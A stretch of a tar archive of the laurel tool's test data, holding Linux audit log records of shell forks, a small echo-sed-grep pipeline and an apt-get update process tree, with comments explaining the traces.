a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638032): type=SYSCALL msg=audit(1697091526.357:2638033): arch=c000003e syscall=56 success="yes" exit=2656 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638033): type=SYSCALL msg=audit(1697091526.357:2638034): arch=c000003e syscall=56 success="yes" exit=2657 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638034): # This is the problematic entry. The enriched PPID should be # { # "EVENT_ID": "1697091526.357:2638033", # "comm": "csh", # "exe": "/bin/tcsh", # "ppid": 2542 # } type=SYSCALL msg=audit(1697091526.357:2638035): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=98cfa0 a2=99d400 a3=f663360 items=2 ppid=2655 pid=2656 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="id" exe="/usr/bin/id" key=(null) type=EXECVE msg=audit(1697091526.357:2638035): argc=1 a0="id" type=CWD msg=audit(1697091526.357:2638035): cwd="/home/redacted/" type=PATH msg=audit(1697091526.357:2638035): item=0 name="/usr/bin/id" inode=989 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.357:2638035): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.357:2638035): type=SYSCALL msg=audit(1697091526.357:2638036): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=987f70 a2=99d400 a3=f663360 items=2 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="awk" exe="/usr/bin/gawk" key=(null) type=EXECVE msg=audit(1697091526.357:2638036): argc=3 a0="awk" a1="-F)" a2=7B7072696E742024317D type=CWD msg=audit(1697091526.357:2638036): cwd="/home/redacted/" type=PATH msg=audit(1697091526.357:2638036): item=0 name="/bin/awk" inode=9629 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.357:2638036): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.357:2638036): type=SYSCALL msg=audit(1697091526.357:2638040): arch=c000003e syscall=56 success="yes" exit=2659 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638040): type=SYSCALL msg=audit(1697091526.361:2638046): arch=c000003e syscall=56 success="yes" exit=2664 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.361:2638046): type=SYSCALL msg=audit(1697091526.361:2638056): arch=c000003e syscall=56 success="yes" exit=2670 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.361:2638056): type=SYSCALL msg=audit(1697091526.365:2638058): arch=c000003e syscall=56 success="yes" exit=2671 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.365:2638058): type=SYSCALL msg=audit(1697091526.365:2638061): arch=c000003e syscall=56 success="yes" exit=2673 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.365:2638061): type=SYSCALL msg=audit(1697091526.369:2638064): arch=c000003e syscall=56 success="yes" exit=2675 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.369:2638064): laurel-0.5.6/src/testdata/shell-proc-trace.txt000064400000000000000000000165461046102023000174410ustar 00000000000000# Trace of a script: # ,---- # | #!/bin/sh # | # | ( /bin/echo foo | /bin/sed -e 's/foo/bar/' ) | /bin/grep bar # `---- # This is what happens in this trace: # # (71432) # | fork # | # | exec test-script.sh # (71505) # / \ fork # / \ # / \ exec grep bar # (71506) (71507) # fork / \ fork # / \ # exec echo foo / \ exec sed -e s/foo/bar/ # (71508 (71509) # The script execution has been marked with the key "test-script". # fork + exec by parent shell type=SYSCALL msg=audit(1682609045.526:29237): arch=c000003e syscall=56 success=yes exit=71505 a0=1200011 a1=0 a2=0 a3=7fb30981aa10 items=0 ppid=3505 pid=71432 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.526:29237): type=SYSCALL msg=audit(1682609045.526:29238): arch=c000003e syscall=59 success=yes exit=0 a0=55fdabf92380 a1=55fdabf99b20 a2=55fdabf2f2d0 a3=6ba537a8c6848fb8 items=4 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="test-script" type=EXECVE msg=audit(1682609045.526:29238): argc=2 a0="/bin/sh" a1="./src/testdata/double-fork/test-script.sh" type=CWD msg=audit(1682609045.526:29238): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.526:29238): item=0 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=1 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=2 name="/bin/sh" inode=394147 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=3 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.526:29238): # forks for pipe setup type=SYSCALL msg=audit(1682609045.530:29239): arch=c000003e syscall=56 success=yes exit=71506 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29239): type=SYSCALL msg=audit(1682609045.530:29240): arch=c000003e syscall=56 success=yes exit=71507 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29240): type=SYSCALL msg=audit(1682609045.530:29241): arch=c000003e syscall=56 success=yes exit=71508 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29241): type=SYSCALL msg=audit(1682609045.530:29242): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6ea8 a1=55d85f7e6bc0 a2=55d85f7e6bd8 a3=6b85af46a9ffd8dd items=3 ppid=71505 pid=71507 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="grep" exe="/usr/bin/grep" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29242): argc=2 a0="grep" a1="baz" type=CWD msg=audit(1682609045.530:29242): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29242): item=0 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=1 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.530:29242): type=SYSCALL msg=audit(1682609045.530:29243): arch=c000003e syscall=56 success=yes exit=71509 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29243): type=SYSCALL msg=audit(1682609045.530:29244): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6bc8 a2=55d85f7e6be0 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71508 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="echo" exe="/usr/bin/echo" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29244): argc=2 a0="/bin/echo" a1="foo" type=CWD msg=audit(1682609045.530:29244): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29244): item=0 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=1 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.530:29244): type=SYSCALL msg=audit(1682609045.534:29245): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6be8 a2=55d85f7e6e78 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71509 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="sed" exe="/usr/bin/sed" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.534:29245): argc=3 a0="/bin/sed" a1="-e" a2="s/foo/bar/" type=CWD msg=audit(1682609045.534:29245): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.534:29245): item=0 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=1 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.534:29245): laurel-0.5.6/src/testdata/tree/00.txt000064400000000000000000000024661046102023000154470ustar 00000000000000type=SYSCALL msg=audit(1654180383.030:299896): arch=c000003e syscall=59 success=yes exit=0 a0=55c7464eed38 a1=55c7464f4fd8 a2=55c7464efca0 a3=0 items=3 ppid=722675 pid=722676 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="apt-get" exe="/usr/bin/apt-get" subj==unconfined key="software_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.030:299896): argc=2 a0="apt-get" a1="update" type=CWD msg=audit(1654180383.030:299896): cwd="/" type=PATH msg=audit(1654180383.030:299896): item=0 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.030:299896): item=1 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.030:299896): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.030:299896): laurel-0.5.6/src/testdata/tree/01.txt000064400000000000000000000025161046102023000154440ustar 00000000000000type=SYSCALL msg=audit(1654180383.046:299897): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288a0 a1=564c9862df30 a2=7ffc8fdcce50 a3=564c9862e7e0 items=3 ppid=722676 pid=722677 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.046:299897): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180383.046:299897): cwd="/" type=PATH msg=audit(1654180383.046:299897): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.046:299897): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.046:299897): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.046:299897): laurel-0.5.6/src/testdata/tree/02.txt000064400000000000000000000025261046102023000154460ustar 00000000000000type=SYSCALL msg=audit(1654180383.130:299898): arch=c000003e syscall=59 success=yes exit=0 a0=564c986b83d0 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722678 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.130:299898): argc=1 a0="/usr/lib/apt/methods/http" type=CWD msg=audit(1654180383.130:299898): cwd="/" type=PATH msg=audit(1654180383.130:299898): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.130:299898): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.130:299898): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.130:299898): laurel-0.5.6/src/testdata/tree/03.txt000064400000000000000000000025321046102023000154440ustar 00000000000000type=SYSCALL msg=audit(1654180383.138:299899): arch=c000003e syscall=59 success=yes exit=0 a0=564c98690560 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722679 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.138:299899): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.138:299899): cwd="/" type=PATH msg=audit(1654180383.138:299899): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.138:299899): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.138:299899): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.138:299899): laurel-0.5.6/src/testdata/tree/04.txt000064400000000000000000000025321046102023000154450ustar 00000000000000type=SYSCALL msg=audit(1654180383.142:299900): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722680 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.142:299900): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.142:299900): cwd="/" type=PATH msg=audit(1654180383.142:299900): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.142:299900): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.142:299900): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.142:299900): laurel-0.5.6/src/testdata/tree/05.txt000064400000000000000000000025321046102023000154460ustar 00000000000000type=SYSCALL msg=audit(1654180383.150:299901): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722681 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.150:299901): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.150:299901): cwd="/" type=PATH msg=audit(1654180383.150:299901): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.150:299901): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.150:299901): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.150:299901): laurel-0.5.6/src/testdata/tree/06.txt000064400000000000000000000025261046102023000154520ustar 00000000000000type=SYSCALL msg=audit(1654180383.158:299902): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722682 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.158:299902): argc=1 a0="/usr/lib/apt/methods/http" type=CWD msg=audit(1654180383.158:299902): cwd="/" type=PATH msg=audit(1654180383.158:299902): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.158:299902): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.158:299902): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.158:299902): laurel-0.5.6/src/testdata/tree/07.txt000064400000000000000000000025261046102023000154530ustar 00000000000000type=SYSCALL msg=audit(1654180383.270:299914): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbb30 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722689 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.270:299914): argc=1 a0="/usr/lib/apt/methods/gpgv" type=CWD msg=audit(1654180383.270:299914): cwd="/" type=PATH msg=audit(1654180383.270:299914): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.270:299914): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.270:299914): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.270:299914): laurel-0.5.6/src/testdata/tree/08.txt000064400000000000000000000025261046102023000154540ustar 00000000000000type=SYSCALL msg=audit(1654180383.278:299915): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbd40 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722691 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.278:299915): argc=1 a0="/usr/lib/apt/methods/gpgv" type=CWD msg=audit(1654180383.278:299915): cwd="/" type=PATH msg=audit(1654180383.278:299915): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.278:299915): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.278:299915): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 